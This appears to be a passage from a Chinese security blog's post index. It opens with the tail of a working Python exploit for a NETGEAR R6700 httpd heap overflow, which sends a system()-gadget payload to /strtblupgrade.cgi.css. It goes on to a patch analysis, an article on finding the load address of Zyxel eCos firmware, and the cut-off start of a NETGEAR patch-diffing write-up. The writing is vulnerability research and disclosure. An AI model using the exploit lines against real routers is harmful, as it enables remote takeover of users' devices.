vuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaayzaazbaazcaazdaazeaazfaazgaazhaaziaazjaazkaazlaazmaaznaazoaazpaazqaazraazsaaztaazuaazvaazwaazxaazyaazzababacabadabaeabafabagabahabaiabajabakabalabamabanabaoabapabaqabarabasabatabauabavabawabaxabayabazabbbabbcabbdabbeabbfabbgabbhabbiabbjabbkabblabbmabbnabboabbpabbqabbrabbsabbtabbuabbvabbwabbxabbyabbzabcbabccabcdabceabcfabcgabchabciabcjabckabclabcmabcnabcoabcpabcqabcrabcsabctabcuabcvabcwabcxabcyabczabdbabdcabddabdeabdfabdgabdhabdiabdjabdkabdlabdmabdnabdoabdpabdqabdrabdsabdtabduabdvabdwabdxabdyabdzabebabecabedabeeabefabegabehabeiabejabekabelabemabenabeoabepabeqaberabesabetabeuabevabewabexabeyabezabfbabfcabfdabfeabffabfgabfhabfiabfjabfkabflabfmabfnabfoabfpabfqabfrabfsabftabfuabfvabfwabfxabfyabfzabgbabgcabgdabgeabgfabggabghabgiabgjabgkabglabgmabgnabgoabgpabgqabgrabgsabgtabguabgvabgwabgxabgyabgzabhbabhcabhdabheabhfabhgabhhabhiabhjabhkabhlabhmabhnabhoabhpabhqabhrabhsabhtabhuabhvabhwabhxabhyabhzabibabicabidabieabifabigabihabiiabijabikabilabimabinabioabipabiqabirabisabitabiuabivabiwabixabiyabizabjbabjcabjdabjeabjfabjgabjhabjiabjjabjkabjlabjmabjnabjoabjpabjqabjrabjsabjtabjuabjvabjwabjxabjyabjzabkbabkcabkdabkeabkfabkgabkhabkiabkjabkkabklabkmabknabkoabkpabkqabkrabksabktabkuabkvabkwabkxabkyabkzablbablcabldableablfablgablhabliabljablkabllablmablnabloablpablqablrablsabltabluablvablwablxablyablzabmbabmcabmdabmeabmfabmgabmhabmiabmjabmkabmlabmmabmnabmoabmpabmqabmrabmsabmtabmuabmvabmwabmxabmyabmzabnbabncabndabneabnfabngabnhabniabnjabnkabnlabnmabnnabnoabnpabnqabnrabnsabntabnuabnvabnwabnxabnyabnzabobabocabodaboeabofabogabohaboiabojabokabolabomabonabooabopaboqaborabosabotabouabovabowaboxaboyabozabpbabpcabpdabpeabpfabpgabphabpiabpjabpkabplabpmabpnabpoabppabpqabprabpsabptabpuabpvabpwabpxabpyabpzabqbabqcabqdabqeabqfabqgabqhabqiabqjabqkabqlabqmabqnabqoabqpabqqabqrabqsabqtabquabqvabqwabqxabqyabqzabrbabrcabrdabreabrfabrgabrhabriabrjabrkabrlabrmabrnabroabrpabrqabrrabrsabrtabruabrvabrwabrxabryabrzabsbabscabsdabseabsfabsgabshabsiabsjabskabslabsmabsnabsoabspabsqabsrabssabstabsuabsvabswabsxabsyabszabtbabtcabtdabteabtfabtgabthabtiabtjabtkabtlabtmabtnabtoabtpabtqabtrabtsabttabtuabtvabtwabtxabtyabtzabubabucabudabueabufabugabuhabuiabujabukabulabumabunabuoabupabuqaburabusabutabuuabuvabuwabuxabuyabuzabvbabvcabvdabveabvfabvgabvhabviabvjabvkabvlabvmabvnabvoabvpabvqabvrabvsabvtabvuabvvabvwabvxabvyabvzabwbabwcabwdabweabwfabwgabwhabwiabwjabwkabwlabwmabwnabwoabwpabwqabwrabwsabwtabwuabwvabwwabwxabwyabwzabxbabxcabxdabxeabxfabxgabxhabxiabxjabxkabxlabxmabxnabxoabxpabxqabxrabxsabxtabxuabxvabxwabxxabxyabxzabybabycabydabyeabyfabygabyhabyiabyjabykabylabymabynabyoabypabyqabyrabysabytabyuabyvabywabyxabyyabyzabzbabzcabzdabzeabzfabzgabzhabziabzjabzkabzlabzmabznabzoabzpabzqabzrabzsabztabzuabzvabzwabzxabzyabzzacacadacaeacafacagacahacaiacajacakacalacamacanacaoacapacaqacaracasacatacauacavacawacaxacayacazacbbacbcacbdacbeacbfacbgacbhacbiacbjacbkacblacbmacbnacboacbpacbqacbracbsacbtacbuacbvacbwacbxacbyacbzaccbacccaccdacceaccfaccgacchacciaccjacckacclaccmaccnaccoaccpaccqaccraccsacctaccuaccvaccwaccxaccyacczacdbacdcacddacdeacdfacdgacdhacdiacdjacdkacdlacdmacdnacdoacdpacdqacdracdsacdtacduacdvacdwacdxacdyacdzacebacecacedaceeacefacegacehaceiacejacekacelacemacenaceoacepaceqaceracesacetaceuacevacewacexaceyacezacfbacfcacfdacfeacffacfgacfhacfiacfjacfkacflacfmacfnacfoacfpacfqacfracfsacftacfuacfvacfwacfxacfyacfzacgbacgcacgdacgeacgfacggacghacgiacgjacgkacglacgmacgnacgoacgpacgqacgracgsacgtacguacgvacgwacgxacgyacgzachbachcachdacheachfachgachhachiachjachkachlachmachnachoachpachqachrachsachtachuachvachwachxachyachzacibacicacidacieacifacigacihaciiacijacikacilacimacinacioacipaciqaciracisacitaciuacivaciwacixaciyacizacjbacjcacjdacjeacjfacjgacjhacjiacjjacjkacjlacjmacjnacjoacjpacjqacjracjsacjtacjuacjvacjwacjxacjyacjzackbackcackdackeackfackgackhackiackjackkacklackmacknackoackpackqackracksacktackuackvackwackxackyackzaclbaclcacldacleaclfaclgaclhacliacljaclkacllaclmaclnacloaclpaclqaclraclsacltacluaclvaclwaclxaclyaclzacmbacmcacmdacmeacmfacmgacmhacmiacmjacmkacmlacmmacmnacmoacmpacmqacmracmsacmtacmuacmvacmwacmxacmyacmzacnbacncacndacneacnfacngacnhacniacnjacnkacnlacnmacnnacnoacnpacnqacnracnsacntacnuacnvacnwacnxacnyacnzacobacocacodacoeacofacogacohacoiacojacokacolacomaconacooacopacoqacoracosacotacouacovacowacoxacoyacozacpbacpcacpdacpeacpfacpgacphacpiacpjacpkacplacpmacpnacpoacppacpqacpracpsacptacpuacpvacpwacpxacpyacpzacqbacqcacqdacqeacqfacqgacqhacqiacqjacqkacqlacqmacqnacqoacqpacqqacqracqsacqtacquacqvacqwacqxacqyacqzacrbacrcacrdacreacrfacrgacrhacriacrjacrkacrlacrmacrnacroacrpacrqacrracrsacrtacruacrvacrwacrxacryacrzacsbacscacsdacseacsfacsgacshacsiacsjacskacslacsmacsnacsoacspacsqacsracssacstacsuacsvacswacsxacsyacszactbactcactdacteactfactgacthactiactjactkactlactmactnactoactpactqactractsacttactuactvactwactxactyactzacubacucacudacueacufacugacuhacuiacujacukaculacumacunacuoacupacuqacuracusacutacuuacuvacuwacuxacuyacuzacvbacvcacvdacveacvfacvgacvhacviacvjacvkacvlacvmacvnacvoacvpacvqacvracvsacvtacvuacvvacvwacvxacvyacvzacwbacwcacwdacweacwfacwgacwhacwiacwjacwkacwlacwmacwnacwoacwpacwqacwracwsacwtacwuacwvacwwacwxacwyacwzacxbacxcacxdacxeacxfacxgacxhacxiacxjacxkacxlacxmacxnacxoacxpacxqacxracxsacxtacxuacxvacxwacxxacxyacxzacybacycacydacyeacyfacygacyhacyiacyjacykacylacymacynacyoacypacyqacyracysacytacyuacyvacywacyxacyyacyzaczbaczcaczdaczeaczfaczgaczhacziaczjaczkaczlaczmacznaczoaczpaczqaczraczsacztaczuaczvaczwaczxaczyaczzadadaeadafadagadahadaiadajadakadaladamadanadaoadapadaqadaradasadatadauadavadawadaxadayadazadbbadbcadbdadbeadbfadbgadbhadbiadbjadbkadbladbmadbnadboadbpadbqadbradbsadbtadbuadbvadbwadbxadbyadbzadcbadccadcdadceadcfadcgadchadciadcjadckadcladcmadcnadcoadcpadcqadcradcsadctadcuadcvadcwadcxadcyadczaddbaddcadddaddeaddfaddgaddhaddiaddjaddkaddladdmaddnaddoaddpaddqaddraddsaddtadduaddvaddwaddxaddyaddzadebadecadedadeeadefadegadehadeiadejadekadelademadenadeoadepadeqaderadesadetadeuadevadewadexadeyadezadfbadfcadfdadfea'\n\npayload_offset = payload.index(\"baaz\")\npayload = payload.replace(payload[payload_offset+0x24:payload_offset + 0x24 +4], p32(system_gadget))\npayload = payload.replace(payload[payload_offset:payload_offset+32], cmd)\n\nf['filecontent'] = p32(malloc_size).ljust(0x10) + payload + p32(0x9)\npost_request('/strtblupgrade.cgi.css', headers, f)\n```\n\n### 补丁分析\n\n以`R6400v2-V1.0.4.98_10.0.71`版本为例,在`http_d()`函数中存在一处变更如下:在定位到`\"Content-Length: \"`后判断其前一个字符是否为`'\\n'`,应该是对该漏洞的修复。\n\n<img src=\"images/patch_v1_0_4_98.png\" style=\"zoom:80%\">\n\n### 小结\n\n本文基于`R6400v2`型号设备,对`R6700`设备上的堆溢出漏洞进行了分析,并重点介绍了漏洞利用的思路。在参考原始思路实现漏洞利用的过程中,\"意外\"发现了另一种方式可直接劫持控制流。当然,由于不同设备上的堆布局可能不太一致,这种方式可能不具普适性(甚至带有一点运气的成分...),而原始的利用思路则比较通用。\n\n### 相关链接\n\n+ [(0Day) NETGEAR R6700 httpd strtblupgrade Integer Overflow Remote Code Execution Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-709/) \n+ [ZDI-20-709: HEAP OVERFLOW IN THE NETGEAR NIGHTHAWK R6700 ROUTER](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)\n+ [Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)\n+ [0ctf2019 Final embedded_heap题解](https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/FvqfcHjdM6-LVf-lQXzplA](https://mp.weixin.qq.com/s/FvqfcHjdM6-LVf-lQXzplA)","tags":["Netgear"],"categories":["IoT","漏洞"]},{"title":"Zyxel设备eCos固件加载地址分析","url":"/2021/03/04/Zyxel设备eCos固件加载地址分析/","content":"\n### 前言\n\n> English version is [here](https://ecos.wtf/2021/03/30/ecos-load-address), thanks for `ecos.wtf` team's translation.\n\n最近在分析`Zyxel` 某型号设备时,发现该设备的固件无法采用`binwalk`等工具进行提取。根据`binwalk`的提示信息,猜测该设备使用的是`eCos`实时操作系统,其固件是一个单一大文件。由于不知道其加载地址,在使用`IDA`等工具进行分析时,无法建立正确的交叉引用,直接逆向会比较麻烦。而网上与`eCos`固件分析相关的资料不多,在没有相关的芯片文档或`SDK`手册等资料的前提下,从该固件本身出发,通过对固件进行简单分析,寻找固件中引用的固定地址,最终确定了该固件的加载地址。\n\n<!-- more -->\n\n### binwalk分析\n\n首先使用`binwalk`工具对固件进行分析,如下。尝试使用`-e`选项进行提取时失败,说明该固件可能就是一个单一大文件。从输出中可以看到很多与`eCos`相关的字符串,其中`\"eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\"`指出了该文件的架构(`MIPSEL`)和异常向量表基地址(`0x80000200`)。\n\n```shell\n$ binwalk RGS200-12P.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\n128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\n5475588 0x538D04 Unix path: /home/remus/svn/ivs/IVSPL5-ZyXEL_New/src_0603/build/../build/obj/ecos/install/include/cyg/libc/stdlib/atox.inl\n5475653 0x538D45 eCos RTOS string reference: \"ecos/install/include/cyg/libc/stdlib/atox.inl\"\n# ...\n5945083 0x5AB6FB eCos RTOS string reference: \"ecos_driver_vid_to_if_index!\"\n5949577 0x5AC889 eCos RTOS string reference: \"ecos_driver_inject vid=%u, length=%u\"\n# ... \n6525239 0x639137 eCos RTOS string reference: \"eCos/packages/devs/serial/generic/16x5x/current/src/ser_16x5x.c\"\n# ...\n```\n\n尝试使用`IDA`工具直接加载该文件,设置架构为`mipsel`、加载地址为`0x80000200`后,如下。可以看到没有识别出一个函数,整个`segment`都是`Unexplored`状态,估计是因为加载地址不正确,因此需要想办法获取固件的加载地址。\n\n> 一般,判断加载地址是否正确的方式包括:1) 成功识别出的函数个数;2)正确的字符串交叉引用个数。\n>\n> 后来发现即使加载基址正确,初始状态也是这样,需要在对应的地方手动`Make Code`才行 。。。可能还需要有合适的loader 进行初始化 ??? 相比而言,`Ghidra`就可以自动进行分析。\n\n<img src=\"images/ida_loadbase_0x80000000.png\" style=\"zoom:65%\">\n\n根据相关信息进行查找,文章[ecos vector.S 分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中简单介绍了`eCos`异常中断的初始化及处理等知识,如下,尝试其中提到的地址`0x80000180`似乎不对。\n\n```assembly\n# mips cpu 产生exception/interrupt后,cpu会跳到特定的几个地址上,\n# BEV=0时,一般的在0x80000180,当然还有些其他地址,详细的要去看mips书籍\n# 这里有这样的代码\nFUNC_START(other_vector)\n mfc0 k0,cause \t# K0 = exception cause\n nop\n andi k0,k0,0x7F \t# isolate exception code\n la k1,hal_vsr_table # address of VSR table\n add k1,k1,k0 \t# offset of VSR entry\n lw k1,0(k1) \t# k1 = pointer to VSR\n jr k1 \t# go there\n nop \t\t# (delay slot)\nFUNC_END(other_vector)\n```\n\n在`MLT linker`文件[mips_tx49.ld](https://git.falcom.de/pub/ecos/-/blob/5ae20c384f92067161fe47cd1bed577d4e5b1a2b/packages/hal/mips/tx49/current/src/mips_tx49.ld)中提到了`hal_vsr_table`和`hal_virtual_vector_table`等地址,搜索`SECTION_rom_vectors (rom`,尝试找到的一些地址后仍然不对。\n\n```c\n// MLT linker script for MIPS TX49\n\n/* this version for ROM startup */\n#define SECTION_rom_vectors(_region_, _vma_, _lma_) \\\n .rom_vectors _vma_ : _lma_ \\\n { KEEP (*(.reset_vector)) \\\n . = ALIGN(0x200); KEEP (*(.utlb_vector)) \\\n . = ALIGN(0x100); . = . + 4; \\\n . = ALIGN(0x80); KEEP(*(.other_vector)) \\\n . = ALIGN(0x100); KEEP(*(.debug_vector)) } \\\n > _region_\n\n#endif /* ROM startup version of ROM vectors */\n\n// 0-0x200 reserved for vectors\nhal_vsr_table = 0x80000200;\nhal_virtual_vector_table = 0x80000300;\n\n// search results\n// packages/hal/mips/idt79s334a/current/include/pkgconf/mlt_mips_idt32334_refidt334_rom.ldi\nSECTION_rom_vectors (rom, 0x80200000, LMA_EQ_VMA)\n// ...\n```\n\n### bare-metal firmware加载地址分析\n\n一般来说,针对`bare-metal firmware`,为了确定其加载地址,可以通过查询对应的芯片文档或`SDK`手册等资料,得到内存空间的映射分布。示例如下,其中`Flash memory`的范围为`0x08000000~0x0801FFFF`。\n\n<img src=\"images/stm32_memory_layout.png\" style=\"zoom:65%\">\n\n> 来源: [STM32F103C8 memory mapping](https://www.st.com/resource/en/datasheet/stm32f103c8.pdf)\n\n此外,对于一些`ARM`架构的`bare-metal firmware`,还可以通过中断向量表来推测加载地址。中断向量表中的前2项内容分别为`Initial SP value`和`Reset`,其中`Reset`为`reset routine`的地址,设备上电/重置时将会从这里开始执行,根据该地址推测可能的加载地址。\n\n> In the used cores, an ARM Cortex-M3, the boot process is build around the reset exception. At device boot or reboot the core assumes the vector table at `0x0000.0000`. The vector table contains exception routines and the initial value of the stack pointer. On power-on now the microcontroller first loads the initial stack pointer from `0x0000.0000` and then address of the reset vector (`0x0000.0004`) into the program counter register (`R15`). The execution continues at this address. ([来源](https://blog.3or.de/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html))\n\n<img src=\"images/arm_vector_table.png\" style=\"zoom:65%\">\n\n> 来源:[ARM Cortex-M3 Vector table](https://developer.arm.com/documentation/dui0552/a/the-cortex-m3-processor/exception-model/vector-table)\n\n在没有对应的芯片文档或`SDK`手册等资料时,可以尝试从固件本身出发,通过分析固件中的一些特征来推测可能的加载地址。例如,[Magpie](https://www.anquanke.com/post/id/198276)通过识别`ARM`固件中的函数入口表,然后基于函数入口表中的地址去推测可能的加载基址;[limkopi.me](https://limkopi.me/analysing-sj4000s-firmware/)通过查找指令中引用的固定地址,成功试出了该`eCos`固件的加载地址。上述方法的本质都是查找固件中存在的固定地址(绝对地址),因为即使加载地址不正确,引用的这些固定地址也不会改变。下面尝试通过同样的方法来对`Zyxel` `RGS200-12P`设备的固件进行分析。\n\n> 由于该固件是`MIPS`架构的,而`Magpie`的工具是针对`ARM`架构的,因此并未直接尝试该工具。\n\n### eCos固件加载地址分析\n\n前面使用`binwalk`工具进行分析时,其输出结果中包含`\"eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\"`。通过查看`binwalk`中`ecos`对应的[magic](https://github.com/ReFirmLabs/binwalk/blob/master/src/binwalk/magic/ecos),如下,表明`binwalk`在该固件中匹配到一些模式。\n\n```\n# eCos kernel exception handlers\n#\n# mfc0 $k0, Cause # Cause of last exception\n# nop # Some versions of eCos omit the nop\n# andi $k0, 0x7F\n# li $k1, 0xXXXXXXXX\n# add $k1, $k0\n# lw $k1, 0($k1)\n# jr $k1\n# nop\n0 string \\x00\\x68\\x1A\\x40\\x00\\x00\\x00\\x00\\x7F\\x00\\x5A\\x33 eCos kernel exception handler, architecture: MIPSEL,\n>14 leshort !0x3C1B {invalid}\n>18 leshort !0x277B {invalid}\n>12 uleshort x exception vector table base address: 0x%.4X\n>16 uleshort x \\b%.4X\n```\n\n使用`IDA`工具加载该文件,设置架构为`mipsl`、加载地址为`0x80000000`,在最开始处`Make Code`后,看到了熟悉的`eCos kernel exception handler`,同时其中包含一个固定地址为`0x80000200`。由于该固件文件有点大(约`10M`),仅靠单个地址去猜测加载地址比较费事:(1) 一次完整的分析比较耗时(大概几分钟),猜测多个地址的话需要分析好几次;(2) 手动去确认识别出的函数以及字符串交叉引用是否正确也比较麻烦(可能包含成百上千个函数及字符串交叉引用)。因此还需要查找更多的固定地址以及更有规律的地址,来确定加载地址的区间。\n\n> 由于对`eCos`系统不了解,刚开始以为加载地址可能在`0x80000000~0x80000200`之间 :(,后来发现不对。\n\n```assembly\nROM:80000000 # Segment type: Pure code\nROM:80000000 .text # ROM\nROM:80000000 mfc0 $k0, Cause # Cause of last exception\nROM:80000004 nop\nROM:80000008 andi $k0, 0x7F\nROM:8000000C li $k1, unk_80000200\nROM:80000014 add $k1, $k0\nROM:80000018 lw $k1, 0($k1)\nROM:8000001C jr $k1\nROM:80000020 nop\n```\n\n在`Hex View`窗口中快速浏览固件时,发现了一些有规律的内容,如下。其中,存在一些连续的内容(以4字节为单位),其最后2个字节均相同,对应到`IDA View`窗口中,分别为指向代码片段的地址和指向字符串的地址。由于此时加载地址不正确,故看到的字符串引用比较奇怪。\n\n> 当然,文件中还存在一些其他的规律,比如以8字节为单位,以16字节为单位等等。\n\n<img src=\"images/hex_addr_pattern.png\">\n\n根据上述规律可以从固件文件中提取出所有的固定地址,一方面可以缩小加载地址所在的范围,另一方面可以利用这些固定地址去判断尝试的加载地址是否正确。[Magpie](https://www.anquanke.com/post/id/198276)根据代码片段地址引用处是否是函数的序言指令来判断加载地址是否正确,由于函数的序言指令需要考虑多种情况,这里采用另一种简单的方式:根据字符串交叉引用是否正确来进行判断。\n\n针对该`eCos`固件,确定其加载地址的方法如下:\n\n(1) 以4字节为单位,判断邻近内容的低/高2字节是否相同,提取固件中所有符合规律的固定地址。考虑到大小端差异,在实际比较时以2字节为单位,判断相邻浅蓝色框(或红色框)内的内容是否相同。\n\n<img src=\"images/hex_search_pattern.png\" style=\"zoom:70%\">\n\n(2) 提取出所有的固定地址后,先筛掉不合法的地址,然后对剩下的地址进行排序,排序后的结果中的第一个地址为加载地址的上限。同时,排序后的结果中前半部分为指向代码片段的地址,后半部分为指向字符串的地址。从中选择一个地址,将指向字符串的地址和指向代码的地址分开。之后,随机从字符串地址列表中选取一定数量的地址,作为后续判断的依据。\n\n> 模糊的正确,只需要保证分到字符串地址列表中的地址均正确即可,因此可以尽量从列表后半部分取,至于是否有字符串引用地址分到了代码片段引用地址列表中不重要。\n\n(3) 在确定的加载地址范围内逐步进行尝试,同时针对每个尝试的加载地址,判断之前选取的每个字符串引用地址指向的字符串是否\"正确\",并记录下正确的个数。对应字符串地址\"命中\"最多的那个加载地址,很有可能就是正确的加载地址。\n\n> 判断字符串引用地址是否正确,可根据该地址是否指向完整字符串的开头判断,即对应地址处的前一个字节是否为`'\\x00'`。当然,也存在一些字符串引用地址指向某个完整字符串的中间(\"字符串复用\"),但大部分的地址还是指向完整字符串的开头。\n\n根据上述思路,推测出了该`eCos`固件的加载地址为`0x80040000`。通过分析部分函数逻辑和字符串交叉引用,验证该加载地址是正确的。另外,采用该方法对另外几个`eCos`固件(包括其他厂商的)进行分析,也可以得出正确的加载地址,说明该方法是可行的。当然,该方法还存在可以改进或优化的地方,不过目前暂时够用了。\n\n```shell\n$ python find_ecos_load_addr.py\n# ...\n[+] Top 10 string hit count ...\n ---> load_base: 0x80040000, str_hit_count: 19\n ---> load_base: 0x80019a30, str_hit_count: 11\n ---> load_base: 0x800225a0, str_hit_count: 11\n ---> load_base: 0x80041cd0, str_hit_count: 11\n ---> load_base: 0x800442d0, str_hit_count: 11\n ---> load_base: 0x80019680, str_hit_count: 10\n ---> load_base: 0x80019940, str_hit_count: 10\n ---> load_base: 0x80019af0, str_hit_count: 10\n ---> load_base: 0x80026090, str_hit_count: 10\n ---> load_base: 0x80008b90, str_hit_count: 9\n[+] Possible load_base: 0x80040000\n```\n\n### binwalk magic添加\n\n设置正确的加载地址后,在对文件进行分析时,在文件头部发现与`VSR table`初始化相关的代码,如下。\n\n```assembly\n.text:80040118 li $gp, 0x809A1140\n.text:80040120 li $a0, 0x8099B7D0\n.text:80040128 move $sp, $a0\n.text:8004012C li $v0, loc_80040224\n.text:80040134 li $v1, 0x80000200\n.text:8004013C sw $v0, 4($v1)\n.text:80040140 sw $v0, 8($v1)\n.text:80040144 sw $v0, 0xC($v1)\n.text:80040148 sw $v0, 0x10($v1)\n.text:8004014C sw $v0, 0x14($v1)\n.text:80040150 sw $v0, 0x18($v1)\n.text:80040154 sw $v0, 0x1C($v1)\n.text:80040158 sw $v0, 0x20($v1)\n.text:8004015C sw $v0, 0x24($v1)\n# ...\n```\n\n参考文章[ecos vector.S 分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中对`eCos`异常中断的初始化及处理的介绍,对照上述代码可知,`0x80000200`为`hal_vsr_table`的地址,而`0x80040224`则为`__default_exception_vsr`的地址。根据前面推测出的加载地址`0x80040000`,猜测该地址与`__default_exception_vsr`有关,即根据`__default_exception_vsr`的地址,考虑地址对齐,可以推测出对应的加载地址。\n\n```assembly\n# mips cpu 产生exception/interrupt后,cpu 会跳到特定的几个地址上,\n# BEV=0时,一般的在0x80000180,当然还有些其他地址,详细的要去看mips书籍\n# 这里有这样的代码\nFUNC_START(other_vector)\n mfc0 k0,cause \t# K0 = exception cause\n nop\n andi k0,k0,0x7F \t# isolate exception code\n la k1,hal_vsr_table # address of VSR table\n add k1,k1,k0 \t# offset of VSR entry\n lw k1,0(k1) \t# k1 = pointer to VSR\n jr k1 \t# go there\n nop \t\t# (delay slot)\nFUNC_END(other_vector)\n\n# 从cause 里取出exception ExcCode,然后到hal_vsr_table 取相应的处理vsr, hal_vsr_table的内容是由 hal_mon_init 填充的\n\n\t.macro hal_mon_init\n\tla a0,__default_interrupt_vsr\n\tla a1,__default_exception_vsr\t# <===\n\tla a3,hal_vsr_table \t\t# <===\n\tsw a0,0(a3)\n\tsw a1,1*4(a3)\n\tsw a1,2*4(a3)\n\tsw a1,3*4(a3)\n\tsw a1,4*4(a3)\n\tsw a1,5*4(a3)\n\tsw a1,6*4(a3)\n\tsw a1,7*4(a3)\n sw a1,8*4(a3)\n\t# ...\n .endm\n# 这里填充的是__default_interrupt_vsr和__default_exception_vsr,\n# ExcCode=0是interrupt,其他的都是exception,就是说产生interrupt会调用__default_interrupt_vsr,产生exception会调用__default_exception_vsr。\n```\n\n根据上述代码特征,通过在`binwalk`中添加对应的`eCos magic`,再次对文件进行分析时即可匹配对应的代码模式,输出`__default_exception_vsr`地址信息,如下,根据该信息即可推测出对应的加载地址。\n\n> 利用`binwalk`对另外几个`eCos`固件(包括其他厂商的)进行分析,也可以输出相关的信息,推测出对应的加载地址。\n\n```shell\n$ binwalk RGS200-12P.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\n128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200\n300 0x12C eCos vector table initialization handler, architecture: MIPSEL, default exception vector table base address: 0x80040224, hal_vsr_table base address: 0x80000200\n# ...\n```\n\n### 其他\n\n#### 自动分析\n\n使用`IDA`加载该固件并设置正确的架构、加载地址等参数后,默认情况下`IDA`不会自动进行分析。相比而言,`Ghidra`则可以自动进行分析,成功识别出函数并建立字符串的交叉引用。因此,一种方式是对照`Ghidra`分析的结果,在`IDA`中进行部分手动`Make Code` (当然,也可以直接使用`Ghidra` ... );另一种方式是写一个简单的`eCos loader`插件,然后`IDA`就可以自动进行分析了。\n\n#### 函数名恢复\n\n该单一大文件中不存在导入表及导出表,故无法区分哪些是常见的系统函数,比如`memcpy()`, `strcpy()`等。但也有其好处,在代码中存在很多函数名/日志等信息,根据这些信息可以很容易地对函数名进行恢复。\n\n<img src=\"images/function_name_recover_sample.png\" style=\"zoom:80%\">\n\n#### 函数调用约定\n\n对于`MIPS32`架构的程序,常见的函数调用约定遵循`O32 ABI`,即`$a0-$a3`寄存器用于函数参数传递,多余的参数通过栈进行传递,返回值保存在`$v0-$v1`寄存器中。而该`eCos`固件则遵循[N32 ABI](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions),最大的不同在于`$a0-$a7`寄存器用于函数参数传递(对应`O32 ABI`中的`$a0-$a3`, `$t0-$t3`)。\n\n<img src=\"images/mips_n32_call_convention_sample.png\" style=\"zoom:80%\">\n\n`IDA`中支持更改处理器选项中的`ABI`模式,但仅修改该参数似乎不起作用。默认情况下`\"Compiler\"`是`\"Unknown\"`,将其修改为`\"GNU C++\"`,同时修改`ABI`为`n32`,之后反编译代码中函数参数的显示就正常了。\n\n<img src=\"images/ida_processor_compiler_option.png\" style=\"zoom:60%\">\n\n### 小结\n\n本文通过对`Zyxel`某设备`eCos`固件进行分析,寻找固件中引用的固定地址,给出了推测固件加载地址的思路,根据该思路成功得到了固件的加载地址。同时,通过对文件进行分析,在文件中发现了与`VSR table`初始化相关的代码,根据该代码可以反推出固件的加载地址,并在`binwalk`中添加对应的`eCos magic`来自动匹配该模式。\n\n> 脚本见 [find_ecos_load_addr.py](https://gist.github.com/cq674350529/74e5b6d31780882c54c80302172ad753)\n\n### 相关链接\n\n+ [ecos vector.S 分析II: exception/interrupt](https://blog.csdn.net/qq_20405005/article/details/77971929)\n+ [Starting Embedded Reverse Engineering: FreeRTOS, libopencm3 on STM32F103C8T6](https://blog.3or.de/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html)\n+ [Magpie: ARM固件基址定位工具开发](https://www.anquanke.com/post/id/198276)\n+ [limkopi.me: Analysing SJ4000's firmware](https://limkopi.me/analysing-sj4000s-firmware/)\n+ [MIPS calling conventions](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/233361](https://www.anquanke.com/post/id/233361)","tags":["固件","eCos"],"categories":["IoT"]},{"title":"NETGEAR PSV-2019-0076: 从漏洞公告到PoC","url":"/2020/10/01/NETGEAR-PSV-2019-0076-从漏洞公告到PoC/","content":"\n### 前言\n\n最近看到一篇[安全资讯](https://securityaffairs.co/wordpress/99177/security/netgear-flagship-nighthawk-router-rce.html),提到`Netgear`修复了其产品中的多个高危漏洞,包括`PSV-2019-0076`、`PSV-2018-0352`和` PSV-2019-0051`等。其中,利用部分漏洞可实现远程代码执行,且无需认证。以`PSV-2019-0076`为例,查看`Netgear`的安全公告,如下,并没有透露过多的细节。\n\n<!-- more -->\n\n<img src=\"images/netgear_psv_2019_0076.png\" style=\"zoom:90%\">\n\n通常来说,`IoT`设备上的漏洞相对比较简单,于是打算花点时间看下,尝试通过补丁比对定位具体的漏洞,进一步地得到对应的`PoC`。\n\n> 本文写于3月。\n\n### 漏洞定位\n\n由公告可知,该漏洞在`1.0.2.68`版本中修复,下载邻近的两个版本`1.0.2.62`和`1.0.2.68`的固件到本地进行分析。通过对两个文件系统进行简单比对,发现这2个版本之间的差异非常多。通常来说,不同版本之间的差异越小,越有助于定位漏洞。\n\n```shell\n$ diff -r _R7800-V1.0.2.62.img.extracted/squashfs-root/ _R7800-V1.0.2.68.img.extracted/squashfs-root/ | grep Binary | wc -l\n335\n```\n\n> 从更新时间来看,这两个版本之间间隔差不多有11个月。\n\n在对文件系统进行简单分析后,将比对的目录缩小在`/www`和`/usr/sbin`两个目录中。浏览了下`diff`的结果,其中有几个文件比较有意思,包括`proccgi`和`uhttpd`等。\n\n先对`proccgi`进行分析,借助`Bindiff`插件进行比对,如下。在函数`sub_00008824()`中,仅改变了处理流程的顺序,未发现安全问题。\n\n<img src=\"images/proccgi_matched_functions.png\" 